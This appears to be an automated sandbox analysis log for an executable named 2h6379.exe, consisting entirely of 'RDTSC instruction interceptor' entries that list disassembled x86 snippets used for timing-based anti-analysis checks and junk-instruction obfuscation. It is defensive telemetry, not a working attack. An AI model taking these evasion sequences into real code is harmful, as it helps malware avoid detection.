Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052F7D second address: 1052F9F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FC110C3B047h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052F9F second address: 1052FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FFBD42 second address: FFBD61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC110C3B046h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053AF0 second address: 1053AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053AF4 second address: 1053AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053AF8 second address: 1053AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053AFE second address: 1053B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053B04 second address: 1053B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1053B0A second address: 1053B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10587AC second address: 10587B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10587B2 second address: 10587B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10587B6 second address: 10587CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC110B5E0A2h 0x0000000c jns 00007FC110B5E096h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10161CF second address: 10161D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101661F second address: 1016623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10166E8 second address: 10166EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10166EE second address: 1016703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC110B5E09Ch 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1016A19 second address: 1016A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10174C1 second address: 10174CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10174CA second address: FFBD42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B047h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e cld 0x0000000f lea eax, dword ptr [ebp+1247AD40h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FC110C3B038h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f cld 0x00000030 push eax 0x00000031 jmp 00007FC110C3B040h 0x00000036 mov dword ptr [esp], eax 0x00000039 mov edx, dword ptr [ebp+122D3274h] 0x0000003f call dword ptr [ebp+122D2645h] 0x00000045 jnp 00007FC110C3B044h 0x0000004b pushad 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e push eax 0x0000004f pop eax 0x00000050 popad 0x00000051 push eax 0x00000052 jbe 00007FC110C3B036h 0x00000058 pop eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push ebx 0x0000005c jnc 00007FC110C3B036h 0x00000062 push edi 0x00000063 pop edi 0x00000064 pop ebx 0x00000065 jmp 00007FC110C3B03Dh 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105917F second address: 10591A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FC110B5E0B0h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591A9 second address: 10591B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Bh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591B9 second address: 10591C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591C6 second address: 10591CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591CA second address: 10591CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591CE second address: 10591E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B043h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10591E7 second address: 10591F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110B5E09Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105934A second address: 1059354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC110C3B036h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10594D0 second address: 10594DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E09Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10594DE second address: 10594E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10594E2 second address: 10594FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E0A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10594FA second address: 1059513 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC110C3B03Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FC110C3B036h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D0D4 second address: 105D0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D0DF second address: 105D0E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D0E3 second address: 105D0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D0EF second address: 105D108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jl 00007FC110C3B036h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007FC110C3B036h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D108 second address: 105D10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D10C second address: 105D110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D110 second address: 105D116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D116 second address: 105D11E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105D11E second address: 105D128 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC110B5E096h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDD6C0 second address: FDD6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDD6C6 second address: FDD6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDD6CC second address: FDD6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDD6D0 second address: FDD6DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1062626 second address: 106262A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106262A second address: 1062630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1062630 second address: 1062647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FC110C3B03Ch 0x0000000c js 00007FC110C3B036h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1062647 second address: 106265D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007FC110B5E098h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10621EB second address: 10621F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10621F0 second address: 10621F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10621F5 second address: 106221C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC110C3B036h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC110C3B045h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106221C second address: 1062220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1062220 second address: 1062226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1065579 second address: 106557E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106557E second address: 106559D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC110C3B036h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC110C3B042h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106A9DE second address: 106A9E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106A9E3 second address: 106AA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC110C3B03Dh 0x00000012 jmp 00007FC110C3B041h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106AA0E second address: 106AA12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1069E17 second address: 1069E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1069E1B second address: 1069E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC110B5E0A8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1069FCE second address: 1069FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1070C01 second address: 1070C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1070C06 second address: 1070C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B045h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FC110C3B03Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jns 00007FC110C3B036h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1070C38 second address: 1070C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F548 second address: 106F54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F54C second address: 106F552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F552 second address: 106F558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F558 second address: 106F55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F55E second address: 106F564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F564 second address: 106F575 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007FC110B5E096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F82A second address: 106F82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F82E second address: 106F832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F832 second address: 106F83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F83E second address: 106F844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106F844 second address: 106F848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FB34 second address: 106FB4A instructions: 0x00000000 rdtsc 0x00000002 je 00007FC110B5E096h 0x00000008 js 00007FC110B5E096h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FDBD second address: 106FE10 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC110C3B062h 0x00000008 jmp 00007FC110C3B043h 0x0000000d jmp 00007FC110C3B049h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC110C3B047h 0x00000019 jng 00007FC110C3B036h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FF5A second address: 106FF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E0A0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FF6E second address: 106FF7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FC110C3B036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FF7A second address: 106FF7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 106FF7F second address: 106FF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1074040 second address: 1074046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1074046 second address: 107404A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107404A second address: 1074056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1074056 second address: 1074065 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC110C3B036h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10736C8 second address: 10736DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FC110B5E0A2h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10736DF second address: 10736FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FC110C3B03Dh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10736FA second address: 10736FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1073893 second address: 10738B3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC110C3B036h 0x00000008 jnl 00007FC110C3B036h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FC110C3B040h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10738B3 second address: 10738CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007FC110B5E096h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007FC110B5E09Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 107D7F5 second address: 107D7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
